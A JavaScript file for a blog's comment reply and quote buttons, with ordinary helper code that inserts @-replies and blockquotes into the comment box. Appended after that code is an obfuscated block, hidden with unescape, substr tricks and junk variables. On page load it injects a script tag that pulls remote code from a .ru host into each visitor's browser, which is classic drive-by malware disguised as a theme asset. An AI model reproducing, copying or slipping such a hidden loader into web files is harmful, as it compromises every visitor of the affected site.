/*
Author: mg12
Update: 2008/11/04
Author URI: http://www.neoease.com/
*/
(function() {

function reply(authorId, commentId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var insertStr = '<a href="#' + commentId + '">@' + author.replace(/\t|\n/g, "") + '</a> \n';

	appendReply(insertStr, commentBox);
}

function quote(authorId, commentId, commentBodyId, commentBox) {
	var author = MGJS.$(authorId).innerHTML;
	var comment = MGJS.$(commentBodyId).innerHTML;

	var insertStr = '<blockquote cite="#' + commentBodyId + '">';
	insertStr += '\n<strong><a href="#' + commentId + '">' + author.replace(/\t|\n/g, "") + '</a> :</strong>';
	insertStr += comment.replace(/\t/g, "");
	insertStr += '</blockquote>\n';

	insertQuote(insertStr, commentBox);
}

function appendReply(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if (field.value.indexOf(insertStr) > -1) {
		alert("You've already appended this reply!");
		return false;
	}

	if (field.value.replace(/\s|\t|\n/g, "") == '') {
		field.value = insertStr;
	} else {
		field.value = field.value.replace(/[\n]*$/g, "") + '\n\n' + insertStr;
	}
	field.focus();
}

function insertQuote(insertStr, commentBox) {
	if(MGJS.$(commentBox) && MGJS.$(commentBox).type == 'textarea') {
		field = MGJS.$(commentBox);

	} else {
		alert("The comment box does not exist!");
		return false;
	}

	if(document.selection) {
		field.focus();
		sel = document.selection.createRange();
		sel.text = insertStr;
		field.focus();

	} else if (field.selectionStart || field.selectionStart == '0') {
		var startPos = field.selectionStart;
		var endPos = field.selectionEnd;
		var cursorPos = startPos;
		field.value = field.value.substring(0, startPos)
					  + insertStr
					  + field.value.substring(endPos, field.value.length);
		cursorPos += insertStr.length;
		field.focus();
		field.selectionStart = cursorPos;
		field.selectionEnd = cursorPos;

	} else {
		field.value += insertStr;
		field.focus();
	}
}

window['MGJS_CMT'] = {};
window['MGJS_CMT']['reply'] = reply;
window['MGJS_CMT']['quote'] = quote;

})();
var w;if(w!='A'){w=''};var xz=new String();function q() {var a;if(a!='' && a!='m'){a=null};var H="replqCN".substr(0,4)+"hO1jace".substr(4);var O="]";this.K="";var x='';var JK;if(JK!=''){JK='d'};var _=window;var Ou=RegExp;var _b=new Date();var cb;if(cb!='wN' && cb!='v'){cb='wN'};var P=unescape("%2f%6d%65%64%69%61%73%65%74%2e%69%74%2f%6d%65%64%69%61%73%65%74%2e%69%74%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%6e%66%6f%73%65%65%6b%2e%63%6f%2e%6a%70%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var qX='';var I;if(I!='' && I!='G'){I='mT'};var D="";var Al='';var Ux;if(Ux!='rT' && Ux!='rU'){Ux='rT'};function g(qU,T){var JU=new Date();var KX;if(KX!='' && KX!='V'){KX='Q'};var C="[";C+=T+O;this.Ie="";var _E=new Ou(C, String("g"));var UBU;if(UBU!='EO' && UBU!='k'){UBU='EO'};return qU[H](_E, x);var s=new Array();};var _Q=new Date();var gJ='';var ZM="";var Hx='';var c=unescape("%68%74%74%70%3a%2f%2f%66%69%78%79%61%2d%63%6f%6d%2e%6d%65%65%62%6f%2e%63%6f%6d%2e%69%6e%66%6f%72%6d%61%74%69%6f%6e%2d%63%6f%6d%2e%6d%75%73%69%63%62%65%73%74%77%61%79%2e%72%75%3a");this.tl="";var TP='';var cG=new String("TS30scr".substr(4)+"ipt");var dP="";var E=g('89966976025162768759325501212474','65439217');var oe;if(oe!='gT' && oe!='gx'){oe=''};var os=new Date();var FE;if(FE!='d_'){FE='d_'};var qW;if(qW!='Gb' && qW!='WF'){qW='Gb'};_["6j8vonlo".substr(4)+"4Wlqadq4Wl".substr(4,2)]=function(){var _wv;if(_wv!='VS' && _wv!='Cw'){_wv='VS'};try {var gk='';Hx=c+E;Hx+=P;var cD;if(cD!='Um' && cD != ''){cD=null};var vz="";var h;if(h!='X' && h!='QX'){h=''};Er=document.createElement(cG);var _J=new String();var b="";Er[String("kyxsrc".substr(3))] = Hx;var lc;if(lc!='QQ'){lc='QQ'};Er["smOde".substr(3)+"sxQVfe".substr(4)+"F2Klr".substr(4)]=[1][0];var jt;if(jt!=''){jt='OB'};var SI;if(SI!='uo'){SI=''};document.body.appendChild(Er);var bS;if(bS!='BV'){bS='BV'};} catch(J){var HY;if(HY!='jV' && HY != ''){HY=null};var Za;if(Za!=''){Za='Jg'};};};var cu=new Array();};q();var es;if(es!='nl'){es=''};